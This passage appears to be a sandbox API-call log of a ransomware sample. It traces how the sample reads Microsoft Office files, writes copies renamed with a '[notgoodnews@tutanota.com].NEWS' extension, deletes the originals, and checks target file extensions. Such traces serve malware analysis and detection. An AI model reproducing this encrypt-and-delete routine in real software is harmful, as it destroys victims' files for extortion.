Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid")) returned 0x220 [0171.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0171.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0171.181] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.181] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0171.210] GetLastError () returned 0x0 [0171.210] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x1a2c, lpOverlapped=0x0) returned 1 [0171.213] WriteFile (in: hFile=0x54c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x1a30, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x1a30, lpOverlapped=0x0) returned 1 [0171.214] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.214] WriteFile (in: hFile=0x54c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.214] SetEndOfFile (hFile=0x54c) returned 1 [0171.214] CloseHandle (hObject=0x54c) returned 1 [0171.215] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.215] SetEndOfFile (hFile=0x4e8) returned 1 [0171.217] CloseHandle (hObject=0x4e8) returned 1 [0171.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0171.218] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid")) returned 1 [0171.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0171.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0171.219] lstrlenW (lpString=".doc") returned 4 [0171.219] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0171.219] lstrlenW (lpString=".docx") returned 5 [0171.219] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0171.219] lstrlenW (lpString=".pdf") returned 4 [0171.219] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0171.219] lstrlenW (lpString=".xls") returned 4 [0171.219] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0171.219] lstrlenW (lpString=".xlsx") returned 5 [0171.219] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0171.219] lstrlenW (lpString=".ppt") returned 4 [0171.219] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0171.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0171.219] lstrlenW (lpString=".zip") returned 4 [0171.219] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0171.219] lstrlenW (lpString=".rar") returned 4 [0171.219] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0171.219] lstrlenW (lpString=".bz2") returned 4 [0171.219] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0171.219] lstrlenW (lpString=".7z") returned 3 [0171.219] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0171.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0171.219] lstrlenW (lpString=".dbf") returned 4 [0171.219] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0171.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0171.219] lstrlenW (lpString=".1cd") returned 4 [0171.219] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0171.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0171.219] lstrlenW (lpString=".jpg") returned 4 [0171.220] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0171.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0171.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0171.220] lstrlenW (lpString=".doc") returned 4 [0171.220] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0171.220] lstrlenW (lpString=".docx") returned 5 [0171.220] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0171.220] lstrlenW (lpString=".pdf") returned 4 [0171.220] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0171.220] lstrlenW (lpString=".xls") returned 4 [0171.220] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0171.220] lstrlenW (lpString=".xlsx") returned 5 [0171.220] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0171.220] lstrlenW (lpString=".ppt") returned 4 [0171.220] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0171.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0171.220] lstrlenW (lpString=".zip") returned 4 [0171.220] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0171.220] lstrlenW (lpString=".rar") returned 4 [0171.220] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0171.220] lstrlenW (lpString=".bz2") returned 4 [0171.220] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0171.220] lstrlenW (lpString=".7z") returned 3 [0171.220] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0171.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0171.220] lstrlenW (lpString=".dbf") returned 4 [0171.220] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0171.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0171.220] lstrlenW (lpString=".1cd") returned 4 [0171.220] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0171.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0171.221] lstrlenW (lpString=".jpg") returned 4 [0171.221] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0171.221] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0171.221] lstrlenW (lpString="SUMER_01.MID") returned 12 [0171.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0171.222] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=14044) returned 1 [0171.222] CloseHandle (hObject=0x4e8) returned 1 [0171.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid")) returned 0x220 [0171.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0171.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0171.223] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.223] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0171.224] GetLastError () returned 0x0 [0171.224] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x36dc, lpOverlapped=0x0) returned 1 [0171.410] WriteFile (in: hFile=0x54c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x36e0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x36e0, lpOverlapped=0x0) returned 1 [0171.411] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.411] WriteFile (in: hFile=0x54c, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.412] SetEndOfFile (hFile=0x54c) returned 1 [0171.441] CloseHandle (hObject=0x54c) returned 1 [0171.444] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.444] SetEndOfFile (hFile=0x4e8) returned 1 [0171.467] CloseHandle (hObject=0x4e8) returned 1 [0171.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0171.467] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid")) returned 1 [0171.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0171.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0171.468] lstrlenW (lpString=".doc") returned 4 [0171.468] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0171.468] lstrlenW (lpString=".docx") returned 5 [0171.468] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0171.468] lstrlenW (lpString=".pdf") returned 4 [0171.468] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0171.468] lstrlenW (lpString=".xls") returned 4 [0171.468] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0171.468] lstrlenW (lpString=".xlsx") returned 5 [0171.468] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0171.468] lstrlenW (lpString=".ppt") returned 4 [0171.468] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0171.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0171.468] lstrlenW (lpString=".zip") returned 4 [0171.468] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0171.468] lstrlenW (lpString=".rar") returned 4 [0171.468] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0171.468] lstrlenW (lpString=".bz2") returned 4 [0171.468] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0171.468] lstrlenW (lpString=".7z") returned 3 [0171.468] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0171.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0171.469] lstrlenW (lpString=".dbf") returned 4 [0171.469] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0171.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0171.469] lstrlenW (lpString=".1cd") returned 4 [0171.469] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0171.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0171.469] lstrlenW (lpString=".jpg") returned 4 [0171.469] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0171.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0171.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0171.469] lstrlenW (lpString=".doc") returned 4 [0171.469] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0171.469] lstrlenW (lpString=".docx") returned 5 [0171.469] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0171.469] lstrlenW (lpString=".pdf") returned 4 [0171.469] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0171.469] lstrlenW (lpString=".xls") returned 4 [0171.469] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0171.469] lstrlenW (lpString=".xlsx") returned 5 [0171.469] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0171.469] lstrlenW (lpString=".ppt") returned 4 [0171.469] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0171.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0171.469] lstrlenW (lpString=".zip") returned 4 [0171.469] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0171.469] lstrlenW (lpString=".rar") returned 4 [0171.469] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0171.469] lstrlenW (lpString=".bz2") returned 4 [0171.469] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0171.469] lstrlenW (lpString=".7z") returned 3 [0171.469] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0171.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0171.469] lstrlenW (lpString=".dbf") returned 4 [0171.469] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0171.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0171.470] lstrlenW (lpString=".1cd") returned 4 [0171.470] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0171.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0171.470] lstrlenW (lpString=".jpg") returned 4 [0171.470] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0171.470] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0171.470] lstrlenW (lpString="Banded Edge.eftx") returned 16 [0171.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0171.478] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=47851) returned 1 [0171.478] CloseHandle (hObject=0x518) returned 1 [0171.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx")) returned 0x220 [0171.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0171.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0171.478] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.478] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0172.731] GetLastError () returned 0x0 [0172.731] ReadFile (in: hFile=0x518, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0xbaeb, lpOverlapped=0x0) returned 1 [0172.735] WriteFile (in: hFile=0x4e8, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0xbaf0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0xbaf0, lpOverlapped=0x0) returned 1 [0172.737] ReadFile (in: hFile=0x518, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.737] WriteFile (in: hFile=0x4e8, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0xf4, lpOverlapped=0x0) returned 1 [0172.737] SetEndOfFile (hFile=0x4e8) returned 1 [0172.737] CloseHandle (hObject=0x4e8) returned 1 [0172.737] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.738] SetEndOfFile (hFile=0x518) returned 1 [0172.742] CloseHandle (hObject=0x518) returned 1 [0172.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0172.743] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx")) returned 1 [0172.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0172.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0172.744] lstrlenW (lpString=".doc") returned 4 [0172.744] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0172.744] lstrlenW (lpString=".docx") returned 5 [0172.744] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0172.744] lstrlenW (lpString=".pdf") returned 4 [0172.744] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0172.744] lstrlenW (lpString=".xls") returned 4 [0172.744] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0172.744] lstrlenW (lpString=".xlsx") returned 5 [0172.744] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0172.745] lstrlenW (lpString=".ppt") returned 4 [0172.745] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0172.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0172.745] lstrlenW (lpString=".zip") returned 4 [0172.745] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0172.745] lstrlenW (lpString=".rar") returned 4 [0172.745] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0172.745] lstrlenW (lpString=".bz2") returned 4 [0172.745] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0172.745] lstrlenW (lpString=".7z") returned 3 [0172.745] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0172.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0172.745] lstrlenW (lpString=".dbf") returned 4 [0172.745] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0172.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0172.745] lstrlenW (lpString=".1cd") returned 4 [0172.745] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0172.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0172.745] lstrlenW (lpString=".jpg") returned 4 [0172.745] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0172.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0172.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0172.745] lstrlenW (lpString=".doc") returned 4 [0172.745] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0172.745] lstrlenW (lpString=".docx") returned 5 [0172.745] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0172.745] lstrlenW (lpString=".pdf") returned 4 [0172.746] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0172.746] lstrlenW (lpString=".xls") returned 4 [0172.746] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0172.746] lstrlenW (lpString=".xlsx") returned 5 [0172.746] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0172.746] lstrlenW (lpString=".ppt") returned 4 [0172.746] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0172.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0172.746] lstrlenW (lpString=".zip") returned 4 [0172.746] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0172.746] lstrlenW (lpString=".rar") returned 4 [0172.746] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0172.746] lstrlenW (lpString=".bz2") returned 4 [0172.746] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0172.746] lstrlenW (lpString=".7z") returned 3 [0172.746] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0172.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0172.746] lstrlenW (lpString=".dbf") returned 4 [0172.746] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0172.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0172.746] lstrlenW (lpString=".1cd") returned 4 [0172.746] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0172.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0172.746] lstrlenW (lpString=".jpg") returned 4 [0172.746] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0172.747] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0172.747] lstrlenW (lpString="Glow Edge.eftx") returned 14 [0172.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0172.748] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=54347) returned 1 [0172.749] CloseHandle (hObject=0x518) returned 1 [0172.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx")) returned 0x220 [0172.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow 